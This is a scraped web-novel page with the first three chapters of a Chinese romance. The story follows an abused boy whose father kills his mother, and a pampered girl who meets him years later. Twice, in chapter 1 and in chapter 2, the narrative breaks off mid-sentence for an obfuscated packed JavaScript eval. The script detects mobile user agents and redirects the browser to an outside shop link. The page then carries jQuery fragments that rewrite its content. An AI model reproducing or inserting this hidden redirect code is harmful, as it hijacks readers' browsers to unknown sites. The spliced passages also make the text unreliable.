《凛冬不再来》 1. 第 1 章 《凛冬不再来》 礼也/2024.08.17 chapter1 十月初,鞍岭这座北方小城镇已经在降温。 本就不发达的镇上藏着一片破败老社区,旧楼房的外墙斑驳灰沉,和不远处装有电梯房的居民楼隔着两条污水沟,像是楚河汉界。 这里没供暖,每家每户靠烧煤炭度过寒冬。 爆破的水管溅湿了逼仄的楼梯间,湿冷、阴寒感扑面而来。 住在这一块的自然都不是什么有钱人,多半在附近钢厂做廉价苦力活。 傍晚6点钟。 天色已经暗得看不清人。 昏暗路灯下,有打着单车铃声的工人陆续回家吃晚饭。家家户户的灯亮起来,烟囱里冒出黑烟气儿,门缝里飘出饭菜香。 当然也有例外。 靠着楼梯口那户今天又没消停,谩骂、痛哭声和酒瓶碎裂的声音不绝于耳。 椅子猛地砸向坚硬的水泥地板,甚至盖住了左邻右舍开大火的烧菜声。 “他娘的,养你还不如养条狗,我打不死你!” 男人嘴里毫不顾忌,带着醉醺醺的酒意,抓着自己小儿子的脑袋往桌边磕:“小杂碎,你也敢反老子!你也敢不把我当回事儿!” “就会护着你妈,还敢推老子,你这逼崽子是不记得自己姓什么了!我当初就该把你弄墙上——” 不干不净的话接二连三地落下来,餐桌上的碗筷砸了一地。 头发凌乱的女人被踹到大门边,凄苦地哭求着:“别打他了,别打他了!沈东石,他是你儿子啊。” “是不是还不一定。”沈东石解着皮带,恶狠狠地开口,“你别以为老子不知道你趁我不在家干的那些破事儿!” 这一年,沈凛11岁。 有个酗酒家暴的畜生父亲,离婚两次都未果的可怜母亲。 他浑身瘀伤,肢体疼到如同腐肉,削瘦的后脊弓起。 木门乍然被拉开,冷风灌进来。女人趁着沈东石酒劲上头的晃荡之时,拉住儿子的手就往外跑,嘴里还在念叨着什么。 只是才走出门口没几步,沈凛的后衣领就被后面一道力量猛然拽回去。与此同时,女人后腰挨上一脚,从楼梯上滚了下去。 “咚”的一声闷响。 “跑!往哪跑?”沈东石双眼猩红,扯住孩子的头发骂骂咧咧,“你想和这婊.子去哪?白眼儿狼!” 住楼下那户人家的天花板被砸了许久,终于还是忍不住出来劝架:“东子!你怎么每天都这么闹腾,一喝多就不干人事……” “哎哟,你媳妇儿都摔在了这也不管!” 楼道里的感应灯早就坏了,邻居的妻子在后边打着手电筒出来。 一道白光划破死一般沉寂的黑暗,只见乌漆的楼梯间早已被染红一片。 从高处摔下来的女人一动不动,杂乱的头发半盖住惨白的脸,却没盖住那双瞪大的眼,鲜血从她后脑不断往外涌。 “啊啊啊啊啊死人了!快报警!” 尖叫和惊昂声一并响起,随后是逃窜般的脚步声,可是楼道里没有人再敢开门出来瞧一眼。 沈东石似乎还没反应过来,依旧站在楼梯口那。 他掐着孩子的手微微颤抖,不可置信地看向倒在地上的那具身体,往后踉跄两步:“臭娘们又在装,这楼梯能有多高,滚下去就死了?” 说是这么说,但男人没下去求证,反而哆哆嗦嗦地逃进了屋里。 被打得意识不清的沈凛终于失去桎梏,脱力地摔在地上,望向下面的楼梯拐角处。 楼道上的血在流。 男孩额头上的血也在流,视线渐渐模糊。 …… 一个月后。 这起家暴致死的官司迎来最终判决。 “被告沈东石家暴行为性质恶劣,对妻小长期虐待,多次实施暴力并过失致其妻子郑琏死亡。本庭根据《中华人民共和国刑法》第二百三十三条的刑罚幅度,鞍岭镇县级人民法院判处被告沈东石6年有期徒刑,立即执行。” 案子告终,法锤敲下。 庭审中的全体人员和观审席位上的人共同起立。 “法官大人,我不是故意的……我就推了她一下,我不知道会把这娘们儿弄死。” 站在被告席上的沈东石满脸胡茬,梗着脖子大喊:“小凛,你、你快跟他们说,说爸爸不是故意的啊!我儿子还小,我不能坐牢!” 旁听席上,男孩脸上的瘀伤消退不少,嘴唇干涸。漆黑僵硬的一双眼睛死死盯着被法警拖回去的男人,有种不符合这个年纪的冷漠。 他纹丝不动地站定,安静麻木得像提线木偶。 后边有一排同是钢厂的工人听审完,唏嘘不已:“这叫什么事啊,离了两次都被劝回来。” “东子也真是的,从小就不是好东西。去车行倒腾这么多年没个出息,在钢厂做得好好的,又跟工头干仗。” “小琏嫁过来就命苦,没享几天福……我前几天还看见她收拾包袱,以为要走了,怎么没走成还把命给送了。” “孩子还这么小,她娘家又没人。哎,麻绳专挑细处断。” 七嘴八舌之间,把别人家的破烂事儿就这么聊起来,唉声叹气地叙述完一个人的一生。 可从法庭出去,也只是各回各家。 “小凛?” 一双温热的手拍了拍他肩膀。 沈凛显然没想过还会有人这样喊他,转过身。 女人风尘仆仆地像是才赶过来,全身上下裹得严实,眼睛哭得通红。但还是对着他露出一个温婉的笑容,说道:“我是你妈妈的好姐妹,焦莱姨姨,还记得我吗?” 她牵着沈凛,走出法院大门。 两道一高一矮的身影在寒风中茕茕踽踽。 乌泱泱的天穹越压越低,冷风呼啸。一场酝酿许久的暴雪从漫天飞舞的白色絮花开始拉开帷幕,任谁都知道来势汹汹。 今年的冬天冷得太快了。 - [ 据报道:11月初,北方地区正遭遇一场提前到来的大范围强降雪,多地出现大雪甚至暴雪天气。导致交通阻塞、航班取消和停电等困题,给居民生活带来了不少影响。] 北方迎来罕见大雪,千里之外的深州市却仍艳阳万里。 别墅落地窗四面透光,客厅洒满了清晨阳光。红木桌上的电视机打开了,播报新闻的音量立体环绕着。 房子里的女主人正接着电话,从楼上踱步下来,给了家政阿姨一个“关掉电视新闻”的示意。 但新来乍到的阿姨太木讷,没明白她那扬下巴的动作是什么意思,大声问了句:“怎么了霍小姐?” 这个眼力见儿实在让霍槿瑜有些心烦。 她轻叹口气,索性走上前拿起遥控把电视机静音。撑着脑袋,坐在门外的秋千摇篮里继续听电话,语气里不乏同情:“……啊,居然有这么严重。” 电话那边的人不知道又说了些什么。 霍槿瑜心生不忍:“好了好了,别哭了,你也有你的难处。我等会儿交代下去把你工资结清,再加两个月薪水的补偿。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727257|144963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柔声安慰了几句,通话结束。 泳池那的男主人披着浴巾走近,俯身亲了亲女人蹙起的眉:“怎么不开心,是小焦的电话?” 小焦是家里用了快六年的保姆,刚来的时候才20出头。按道理,雇主都不想找比自己还要年轻这么多的月嫂。 但她心细、有精力,烧得一手好菜。 最重要的是,有耐心、也用心伺候好了活力十足的姜家小明珠。 因此就这么被满意地留下了。 一留就是六年,今年却在请假过后又提出辞职。 “是啊,她好友意外去世,家里还留了个小孩子,就比我们女儿大一岁。她估计要和那个孩子一起留在老家了。”霍嘉瑜又指了一下在客厅擦桌子的阿姨,小声说,“看来这位要转长期了,但我不太钟意她。” “小焦用了这么久,你当然不习惯别人。但年底缺人,先用着吧,我让老罗年后再找找。” “行。”她抿嘴,“也只能这样了。” “嗯。老罗今天放假,我去把车开出来,送你过去。”男人站起身,安抚地拍拍她手背,“顺便告诉你一声,你那宝贝女儿又在干坏事儿。” 他前脚刚走,后一秒就听见泳池那的“噗通”一声。 水花四溅,蓝白相间的瓷砖倒映着明媚的蓝天白云。 被推进池子里的男生从水里冒出脑袋,噗噗地吐水。 没等一个接一个的游泳圈砸下来,他跟水猴子似的灵活,游到“危险人物”的另一侧,并迅速上岸,跑进一旁的小更衣室里反锁了门。 往泳池里砸游泳圈的小女孩丸子头扎得高高的,四肢纤长,肤白胜雪色。院子里有凉风吹过,她鬓边一缕碎发落在脸颊。 她穿着修身的竞速泳衣,在池边坐下来。两条细直的小腿伸进池水里,水波荡漾中也印出那张精致漂亮的小脸,还带着满满胶原蛋白的婴儿肥。 表情正故作深沉,很是不高兴。 “苔苔,你已经是要用两根手指才能数齐的年纪了。”霍嘉瑜走过去,边伸出手指说道,“你是大孩子,不要总欺负堂弟。” 姜苔气冲冲转头:“可是他偷吃我的甜甜圈!” 边上的更衣室里传来一句男生憋屈的哭吼:“是你不要的呜呜呜。” 娇生惯养的小女生自有一派道理,脚尖重重地压了一下波澜不惊的水面:“不要也不给你!那是我的东西!” 说完,她又很有先后次序地回过头来:“妈咪你还想说什么?” 霍槿瑜憋着笑:“妈咪想说,最好别这样,慷慨一点好吗?” 姜苔板着脸正要说话,又听见车库里的动静,注意力转移:“你又要去哪儿?” “实验室啊,妈咪忙完今天就能空下来了。” “你前天的前天!也是这么说的。” “这次保证,明天可是Young arts绘画大赛要公布获奖作品的日子,有个小公主很可能拿奖哦。”女人凑近,和她鼻尖亲昵相碰,“妈咪怎么可能会不在你身边呢,是不是?” 霍槿瑜是土生土长的港城人,和女儿说普通话时总是缓慢温柔。 姜苔这才被哄好,讲附加条件:“那你和爹地今天也要早点回来,陪我一起吃晚饭。” “OK,i promise.” 女人换了双鞋往外面走,上车离开。 坐在池子边的姜苔闷闷不乐地把头扭了回来,慢吞吞起身。 在下一瞬间,她又满血复活,跑到更衣室门口:“姜译元!我数三声,你再不开门,出来就准备继续挨打吧!” 2. 第 2 章 姜苔这个小姑娘的存在,任谁都知道她代表着天生好命。 她母亲霍槿瑜任职于国家生物研究所,是高校副教授。娘家更是威名显赫,港城名门望族里能排前三。 与之相比,父亲姜霆白手起家的老总身份都相形见拙。 但两口子恩爱,彼此都有忙碌的事业,从未为其他事有过分歧。 姜苔作为他们千娇万宠的独生女,既是鬼马娇憨、惹人喜欢的郁金香,却也必不可免地养成了跋扈嚣张、傲慢骄矜的脾性。 从小到大,堂、表兄弟不顺她心意要挨骂,侵犯她领地会挨打。 骂人是学着母亲霍槿瑜那套绵里藏刀。 她青出于蓝,心情不好时满嘴是刺。 会动手则因为父亲姜霆从她8岁那年起,便给她报了空手道的培训班。以至于到即将上初中,姜苔在同辈人那都没吃过武力上的亏。 姜苔来到这个世界短短数载,经历已经丰富多彩。 记事以来,外祖母爱带着她全世界各国旅行研学,被小姑带去好莱坞剧组试戏,会常坐在姜霆的董事长位置上装小大人,也爱跟着霍槿瑜各地勘研。 她11岁生日刚过完的暑假,霍槿瑜一日往常带领团队和她去往辽北地区做研究。 为深入探寻黑土土壤酶,一行人中途决定进山实地勘察。 大早上,所有人整装待发之际,姜苔正抱着宠物小猫坐在脚沾不着地板的高脚凳上。 进深山,当然不能再带着一个小孩。 姜苔又不愿意乖乖在酒店房间里等她。 霍槿瑜也不放心把女儿和女儿的猫丢下,边翻通讯录,边想着在这遥远的辽北还认识什么熟人呢? 终于,翻到一个本市鞍岭镇的电话号。 研究所的同事们在酒店大堂客厅那坐着,进山的装备都收拾好了。 “只要有人在身边陪她玩就行。”霍槿瑜不动声色地打量着昔日家里用了许久的月嫂。才一年多没见,竟觉得对方年岁忽长,“她精力强,又爱聊天,一个人待着会寂寞……” 鞍岭镇到市里近40分钟的车程,焦莱接到电话就风尘仆仆地赶来,还穿着件没来得及换下的蓝色厂服。 手指甲倒整齐,头发也盘得一丝不苟。 她勤快爱干净,本分没脾气,甚至从来不向雇主借钱。所以当初才能在姜家一做就做了六年,还被涨了几次工资。 被昔日老板记在心上,也信任着,焦莱这个老实人的感恩心思完全藏不住,忙点头:“教授您放心,我很了解苔苔小姐。” 这话名副其实,毕竟姜苔4岁起就吃她做的饭。夫妻俩不在家时,也只有她这个住家保姆负责哄睡、陪玩。 霍槿瑜强硬地塞了一叠钞票酬劳在对方口袋里,又简单交代几句,这才俯身看向身后的小女孩: “妈咪晚上出了山就来接你。来跟焦姨问好,还记得她吧?” 姜苔抱着猫起身,不情不愿:“焦姨好。” 霍槿瑜转头,偷偷用口型揶揄:还在怪你呢。 焦莱有些难为情地笑了笑。 她当初提辞职,走得太突然。不仅霍槿瑜不习惯,就连姜苔也因为吃不惯新阿姨做的菜,打过好几次电话要她回来。 这孩子看着没心没肺,但念旧。 焦莱打了辆内饰整洁的出租车,一手拎上猫笼和她的小背包,一手牵住她的手:“走啦,带苔苔小姐和乌龙去焦姨家里做客。” 姜苔那只小猫就叫“乌龙”,身价6位数,美得仙里仙气,是霍槿瑜前年买给她的生日礼物。 一路上怕小姑娘晕车,焦莱絮絮叨叨地讲笑话哄她开心。 姜苔到底年纪小,一会儿就好奇地聊上:“你是不是找到新的工作了,在这里的工资很高吗?如果你回来,我妈咪也可以给你加钱。” 焦莱没有直接回答她故作成熟的话,笑着反问:“新阿姨做饭真的很难吃?” “也不难吃,但比你差远了。”姜苔撇嘴,看向公路两侧的田垄里一大片玉米地,不禁感慨,“你老家好多玉米,你住在玉米镇啊?” 焦莱问:“想吃吗?待会儿可以去我家的菜园摘。” 姜苔想摇头,种在户外的玉米一定有虫子爬过。但她被颠簸的路晃得头晕,困乏地打了个哈欠。 猫笼里的乌龙也是第一次来到尘沙飞扬的北方乡镇,谨慎地窝着一动不动。 - 车停下来时,姜苔正靠在焦莱怀里安稳地睡觉。鼻间能闻到女人身上的机油味,并不好闻。 她还是更怀念之前在自己家香喷喷的焦姨。 被喊下车,姜苔伸了个懒腰,把猫咪抱出来。她跟着女人往前走,一边好奇地观察着周边环境。 鞍岭镇不大,居民区也就在这么一小块地方。高高矮矮的楼房,电线在头顶乱缠,每一处都透露出这儿有多边缘化,接近乡村。 焦莱的家实在算不上条件多好。 同样是二层带院子,姜苔家是500平的别墅独栋洋楼,她眼前的这幢却是间上、下层面积加起来都不超过80平的老破小。 外墙还长满了攀援而上的爬山虎,院子不大,盆栽里种着空心菜、葱蒜和一些薄荷、野生向日葵。 正值夏天,叶片翠绿欲滴。 在这片灰败中看上去竟难得的生机勃勃。 里屋楼下那层有间简陋的卧室、厨房和一个客厅,进去就能感觉到逼仄,楼上则是卫生间、一间主卧和晾晒的阳台。 姜苔眼里暂时没有对这地方的嫌弃,更多是好奇。 她抱着猫踩在木梯上蹦来蹦去,屋子里的一切对她来说都是一堆新鲜的破烂玩意儿。 天气热,焦莱给她倒了杯自制冻柠七,开了楼下的电扇和电视机,进厨房前又问道:“苔苔,教授说你这两天有点上火,焦姨给你煮菊花凉茶好不好?” 在姜家的时候,焦莱就会煮八种凉茶和糖水,这是深州地区的特色饮品,无疑抓住了雇主一家人的胃。 姜苔正下楼,追着跑到院子里的乌龙。舌尖有记忆在,大声摇头:“那个很苦!” “加罗汉果和金银花,给你煮甜的。” “好的吧。” 她应完,把猫从薄荷盆栽里扒拉出来,刚起身就听见院子铁门嘎吱嘎吱被推开的声音。 少年穿着一件洗得泛黄的白T,抽绳运动裤下勒着窄瘦腰身,脚下踩着双板鞋。临近晌午的阳光落在他右肩扛着的一袋大米上,脊骨因此微弓着,但还是很高,身形挺拔。 他往站在院子里的女孩看过来,那双眉眼浓郁又黑沉沉的,面容峻朗分明。 那是姜苔第一次遇到沈凛。 这年他13岁,刚上初一,气质冷又沉郁。 与此同时,沈凛那一眼停留得也不短。视线里是小女孩蓬蓬的洁白公主裙到绣着蕾丝边的真皮靴子,还有她怀里那只漂亮高贵的布偶猫。 猫和主人一样,看上去都娇娇的。 姜苔不怕生,歪着脑袋看他:“你是焦姨的儿子吗?” 沈凛没出声,似有若无地点了下头往屋里走。他扛着一袋大米,但步伐稳健,是常干重活练出来的。 姜苔鬼迷心窍地跟进去,听见厨房里的焦莱和他在说话。 过了片刻,焦莱有点仓促地脱了围裙,边走出来边和少年说:“小火再煮半个小时。” 一出厨房便碰上站在客厅电风扇那的姜苔。 焦莱搓了搓手:“苔苔,焦姨厂里来了批急货,着急赶回去。让沈凛哥哥在这陪你玩好不好?” 姜苔抱着有些躁动的乌龙,犹豫地点了点头。 “沈凛是我儿子,比你大一点儿。”焦莱怕她不安,又安抚道,“他人很好,要什么就和他说。” 姜苔当即不客气地朝厨房里问:“你可以帮我给乌龙放猫粮吗?” 沈凛站在燃气灶的砂锅前,转过头:“怎么放?” “我教你。”姜苔招招手让他跟上,走到客厅餐桌上放着的猫笼和旅行背包那,“里面有乌龙吃饭和喝水的小碗,还有猫砂盆……” 小公主从来不亲自动手,哪怕是一些毫不费力的活儿,也要别人来干。 她动嘴皮子吩咐,沈凛照做。 两个只差一岁的孩子,很快熟络地说上话。沈凛又早熟懂事,焦莱并不担心,看了一会儿便轻手轻脚地离开。 乌龙在两个人的眼皮底下吃着猫粮,嘴里呼噜呼噜响。 姜苔蹲在旁边看,顺嘴问:“你的名字叫沈lin,是哪个lin?” 沈凛瞥她:“凛冬的凛,会写吗?” “当然会!就是《竹节人》里的‘凛’。”六年级的小学生姜苔不甘示弱,举一反三,“威风凛凛的凛。” 他见她激动的样子,眯眼笑了下。 姜苔盯着他沉默的侧脸,愣了神。 谁都喜欢看好看的人。 沈凛并不是她堂弟姜译元那种留个小辫、穿得花枝招展的好看。他眉宇硬朗,生得也不白,是显而易见的结实和蓬勃健康,有股刺挠的野劲儿。 不说话时,那张脸冷得有点生人勿近。 但诚如焦莱所说,他人很好,至少对姜苔有求必应,极有耐心。 “沈凛,我想上厕所,你们家怎么不是马桶啊。” “沈凛,糖水好了吗?给我盛一碗,要先放冰箱里。” “沈凛!为什么你家没有游戏机……你帮我的电话手表充下电。” “沈凛,我摘了一朵你家院子里的花,乌龙怎么跑你那去了?别让它抓飞蛾!爪子会感染的。” “沈凛,我有点饿了,不想吃饭,可不可以带我去便利店买零食?” 一整个下午,旧楼小院里充满姜苔的噪声。 沈凛想不明白,那只猫都消停地在睡午觉了,这小学生为什么还这么有活力。 吃过午饭,把家务做完,他如姜苔所愿,把她带去镇上买零食。 姜苔对这里的不满渐渐摆在脸上。 燥热感挥之不去,新奇感所剩无几。 窄又杂乱的街道,马路上坑坑洼洼,好多乱鸣笛的电动车。路边地摊随处可见,打着赤膊打麻将的中年男人,鼻间隐隐能闻到泔水的腥臭味。 没空调,热出一身汗。找不到7仔连锁店,只有不知名小卖部,雪糕种类都是五毛、一块的廉价品,也不知道过期没有。 她委委屈屈地腹诽,赖在冰箱门口吹了会儿冷气。 小卖部的老板娘磕着瓜子,说话声响亮:“小沈,你哪里来的亲戚妹妹啊?长得真标志,跟小明星一样。” 姜苔听见这话,收敛了些对这个小店的嫌弃。她发现沈凛不太会和别人聊天,居然一句话也没说。 最后挑三拣四,她买了两包小浣熊干脆面。 姜苔没吃几口,怀里的乌龙倒是吃得起劲,满足地仰头去蹭她手,蓝色眼珠子往还在店里面的沈凛那瞧。 她把猫抱到店外稍干净点的塑料椅子上坐着,小声教训:“乌龙!你可别习惯待在这种地方啊,好吃的不吃,光吃这些其他猫猫都瞧不上的。” 沈凛正好买了包湿纸巾出来,闻言,脸上并没表情。只是半蹲在她面前,把她靴子上刚才溅到的污水擦干净。 姜苔早就习惯了被人伺候,配合他抬高脚。 “沈凛!” 远处一道清脆女声响起。 姜苔转脸看,那是一个和他们差不多大的女生,或许要比她大一、两岁,是沈凛的同学。女生刚从菜市场市集那过来,手上提了不少菜,其中一个红色袋子里还装着活蹦乱跳的泥鳅。 姜苔怕那里面的鱼蹦出来,皱眉抱紧了乌龙,往后面椅背上靠。 沈凛站起来,身影半挡在她面前。 女生有点错愕地往他身后看:“这是你妹妹?” 乌龙:喵。 “……” 姜苔并不打算在这交朋友,懒得回应,百无聊赖地玩着自己的电话手表。 沈凛也没有要回答的意思,岔开话问:“有事儿吗?” “没。”女生努力地找话题,“对了,你写完暑假作业了吗?” “写完了。” “你真厉害,回学校借我抄抄吧。” 沈凛:“嗯。” 姜苔在后边听着,发觉他这个人话少,但有人和他聊,他几乎都会回应。只是总一脸兴致泱泱的冷淡,性子看上去也孤僻。 女生拎着袋子晃了晃,在冷场中有些尴尬:“行,那我走了,假期愉快。” 姜苔在人走了没几步的时候,眼尖儿地看见地上的东西。她起身去捡,喊道:“哎,你的卫生巾!” 女生回头看见她捏着那片卫生巾的一角,脸突然通红:“不、不是我的。” 否认完,又立刻低头,脚步加快地往前走。 姜苔一头雾水,递给沈凛:“就是从她口袋里掉下来的啊,你还给她吧。” “我?” “卫生巾而已,到底在害臊什么?”她下巴拗起,不耐烦道,“这不是大家长大了都要用的嘛!” 沈凛脸色古怪:“男生是用不上的。” “是吗?我才不信!”姜苔自信地反驳完,又斟酌地补上一句,“下学期上生理课的时候,我会问我老师的。” “……” 沈凛不想跟小学生计较。 - 在街上没转多久,姜苔就喊着好热要回去。乌龙这只猫被夕阳晒得全身滚烫,一路也是沈凛抱着。 其实像她这样的小孩来到小镇上也有挺多乐子:摘野果、小溪里捞鱼、菜地里啃新鲜的黄瓜和西红柿、去逛市集。可姜苔实在娇气,以往去农家乐都嫌累,更别提在这还要顶着大太阳。 好在回到家,焦莱也早早在厨房做饭了。 姜苔的心情总算在吃饱之后变好了些,只是汤还没喝完,就听见一道晴天霹雳—— “苔苔,霍教授发烧在住院,要明天才能来接你。”电话这边是霍槿瑜团队里的助理,“不用太担心,是中暑。她现在睡了,还在吊水呢。” 通话结束后,姜苔生无可恋地看着屋里的母子俩:“那我今晚睡哪里啊?” 沈凛洗碗去了,焦莱让她去看二楼卧室。 楼上是焦莱住,但晚上太热。 姜苔也不太愿意和她挤一块儿睡。 小女孩的脑瓜子转了半天,指向楼下那间:“如果我睡那里,沈凛哥哥睡哪儿?” 焦莱被她的选择打得措手不及,正纠结着,就听见从厨房出来的沈凛接话道:“我睡沙发。” 客厅的沙发说到底就是一张实木旧长椅,对比沈凛身高来说短了至少十几公分,侧着身子才能勉强睡。 焦莱觉得他这样睡不了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727258|144963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 沈凛却无所谓:“没关系,就一个晚上。” 姜苔如愿以偿抱着乌龙睡到了沈凛的竹席床上。她在楼上洗过澡,换了件焦莱给她的睡裙。 而沈凛是从公共澡堂回来的。 电视机还开着,姜苔在逗猫。焦莱知道她睡前要喝糖水,从晚饭后就开始熬了三个小时的冰糖雪梨。 才看完晚间九点档的电视,焦莱就上楼睡去了。 楼下只剩下姜苔和沈凛,她抱着乌龙回了房间,用电话手表给霍槿瑜发了几条短信,得到明天中午之前会来接她的回复。 乌龙今天玩了一天,累得在床上呼呼大睡。 但姜苔认床睡不着,这里环境对她来说太恶劣,蚊香的刺鼻味道时刻提醒着她在体验变形记。 门缝那传来一点客厅的光,她慢吞吞起身出去。 沈凛在看电视,听见开门动静也没回头。 他穿着一身棉T棉裤,衣服跟不上生长的速度,紧贴着棱角骨骼。少年黑色发根还有些湿,五官清隽,在安静夜晚里显得有些懒洋洋。 姜苔自来熟地坐过去,撑着脸:“为什么这里都看不到多少星星?” 她看电视上都说乡镇的晚上,抬头就能看见漫天星空,但这里的天空暗得只有几颗零星。 沈凛淡声:“镇子旁边有化工厂,污染大。” 姜苔有些失望,错眼看见电视里闪过一个脸色惨白的活僵尸。吓得她急急往旁边躲,抓住他手臂:“你在看什么!” 沈凛被她抓得有点吃痛,如实道:“林正英打鬼。” “……” 姜苔现在只想打他! 沈凛没感受到生命的威胁,抿唇,看她那表情:“你怕就回屋睡觉。” 老光盘DVD的画质不错,僵尸出现的那一幕牢牢刻在她脑子里。姜苔不想露怯,气呼呼地回房间。 没过多久,她又开门探出个小脑袋:“沈凛,我睡不着。” 沈凛扭头,看着她两秒。 姜苔眨巴了下眼睛,无辜地指着床头那台老旧的电风扇,理直气壮:“它好吵。” 能有你吵么。 沈凛轻叹口气,关了电视,拿起一把圆蒲扇进屋。 她心安理得地躺回床上,闭上眼像个瓷娃娃,拉着薄毯子盖在小腹上,在他静谧的扇风动作下酣然入梦。 沈凛坐在那给她扇了近一个小时的风,确定她睡沉了才把电风扇开起来。 乌龙在这时翻了个身,睁着一双蓝瞳往他手边舒服地蹭了蹭。 他顺手撸了撸猫咪的下巴,又瞥见熟睡的姜苔脖子那泛着绯红小颗粒。她皮肤太白嫩,已经有了轻微晒伤的痕迹。 她睡着也在蹙眉,仿佛在做噩梦。 女孩长发如藻地铺着,脸颊白皙精致。饱满柔软的唇珠微微嘟起,带着几分婴儿肥的娇憨感。 一看就不是会出现在这个镇上的人。 沈凛觉得今天那句话还是想错了,她分明比布偶猫还要娇。 - 第二天能离开这里,对姜苔来说本该是高兴的事。 她因此还兴奋地很早就睁开眼,只是清醒过后——她摸着湿掉的睡裙,一脸“天都塌了”的绝望。 尿床了吗……?? 她都12岁了!怎么可能还尿床!! 姜苔反反复复地确认着湿掉的竹席和裙子,羞躁地想哭。都怪沈凛昨晚看僵尸片,吓得她一晚上的梦里都是僵尸! 偏偏此时沈凛听见猫抓门板的声音,敲门,拧开门把手:“醒了?” 乌龙从他腿边一闪而过,直奔客厅小碗那喝水。 姜苔呆呆地坐在床上,顶着一头乱发,难以启齿:“焦姨呢?” “她上早班,等你妈来接你的时候会回来。”沈凛探究地偏了偏头,“你要不要起来吃早饭?” “我,我起不来了……” “什么?” 她支吾:“我嗯呃呃。” 沈凛听不懂这从牙缝里迸出来的话,看着她越来越红的脸,走进来想用手背碰她额头。 姜苔躲开,眼睛都湿了:“我没生病!” 他不太会和小女生相处,不知道她为什么变脸这么快。手垂在裤侧,指头蜷了蜷:“我把粥盛好了,放在桌上。” “等一下。”姜苔知道这会儿只能求助他,在他转身之际,嗫嚅地带着哭腔说,“我、我尿床了呜呜呜呜。” “……” - 家里没有大人在,姜苔也不知道是幸运还是不幸,至少沈凛不像是会嚼舌根暴露这个秘密的人。 她坐在餐桌前喝粥,听见楼上手洗衣服的声音,心里五味杂陈。因为出了这么一个大糗,姜苔一整个上午都垂着脑袋玩手表上的小游戏,夹起尾巴不敢再造次,话都没和沈凛多说几句。 她的羞愧难当对沈凛来说,倒省了不少事。 他的任务是帮焦莱好好照顾姜苔,伺候大小姐没有窍门,对她百依百顺就行。 门口有电动车停下的声音,是焦莱回来了。 这也说明霍槿瑜的车快要到了。 “教授马上过来接苔苔啦。“焦莱洗过手,殷勤地上前,“焦姨帮你扎小辫子吧,是不是昨天玩累了?怎么都不说话?” 姜苔提不起兴头,手指不停地搅着衣角。 院子里的沈凛在把乌龙放进猫笼背包里,摸到它一屁股的毛是湿的。而且,闻起来一股怪味…… 他顿了顿,往屋里依旧垂头丧气的姜苔看过去,蓦地明白了什么。 看过猫帮主人背锅的,没看过反过来的。 沈凛把猫砂盆、猫粮一并装进去,拎着背包起身,恰好听见院子外面一声汽车的鸣笛。 紧接着屋里的姜苔一反常态地飞奔出来,活力满满地跑向院子外面。 开车的是霍槿瑜,因为电话里已经和焦莱道谢过,也赶着去市里机场,就没下车。 “沈凛,你快把乌龙和它的包拿过来!”大小姐颐指气使的气势在要离开之时又回来了,使唤人的语气也一如昨日。 沈凛拎着东西,焦莱也走过去打开了后座。 他看见姜苔跪坐在副驾驶那,搂着驾驶位上女人的脖子撒娇,还亲了亲她的脸,看上去每根头发都在表达开心的情绪。 那是沈凛为数不多对霍槿瑜的印象:一位知性爽朗的女士,和女儿相处得很亲近。 笑声从车里传出来,两个大人在告别。 两个孩子也不例外。 姜苔趴在车窗那,朝沈凛招手,让他过来。 她从车上零食里挑出一盒巧克力递过去,乖巧开口:“这两天谢谢哥哥照顾我。” 这话显然是说给一旁的霍槿瑜听的。 果然,女孩下一句带着点狡黠的笑,声音放低了点,凑近得意洋洋地说:“拜拜,我不会再见到你了哟!” “……” 因为笃定不会再见,所以也不怕他暴露她的“秘密”。 她表情真的好嘚瑟,和前几分钟垂头丧气的模样截然不同,连怀里那只猫都跟着主人心情的变化高高在上地翘起了尾巴。 沈凛根本没机会把乌龙的“栽赃犯罪行为”转告给她,在下一刻也决定不澄清了,索性就让这成为大小姐自以为的黑历史。 谁让汽车开动后,姜苔还要探出头来对他做个鬼脸。 3. 第 3 章 很多年后,姜苔才发现有些人的交集是冥冥之中就注定的。 她回到深州,升学、社交圈扩大、新旧朋友来来往往。最大的烦恼是偶尔会和好友因为一些小事吵架、想买的裙子还没上新款、绘画大赛上又和第一名失之交臂。 远在北方的沈凛也有自己的生活,仍然是持续着半工半读的状态减轻家里负担,越沉默也越冷淡。他的学习成绩在这种清苦的情况下还是拔尖儿。 毕竟对于贫困生来说,拿不到奖学金就是罪过。 两段本该是毫无干系的人生,却总会因为有过相交的点,而不断重逢。 人生不是线,是圆。人与人之间,也靠缘。 初三上学期的寒假,姜苔和在港城的外祖母打过电话,委婉拒绝了今年一同去日内瓦的散心旅行。 下楼吃早餐时,她听见姜霆和他那司机兼家庭管家的张叔在聊新找的保姆阿姨。 姜苔放在嘴边的汤匙又落进碗里,皱眉问:“哪个沈凛?” - 次日傍晚,家中到来的不速之客无形中解答了她的疑惑。 姜霆正要出差,身后助理帮忙拎着公文包,他看向女人:“情况都知道了?” 站在他面前的焦莱忙点头。 焦莱是之前在家里待过最久的保姆,姜霆不免对她寄予厚望:“苔苔母亲还在世的时候,你就在了,也在她小时候最上心。所以我让老张打听了一下,没想到你正好也要来深州找工作。” 霍槿瑜在前年离世。 不是重病,而是勘研期间的一场自然灾害,她在贵南大山里遇到洪灾。事发突然,谁都来不及见最后一面。 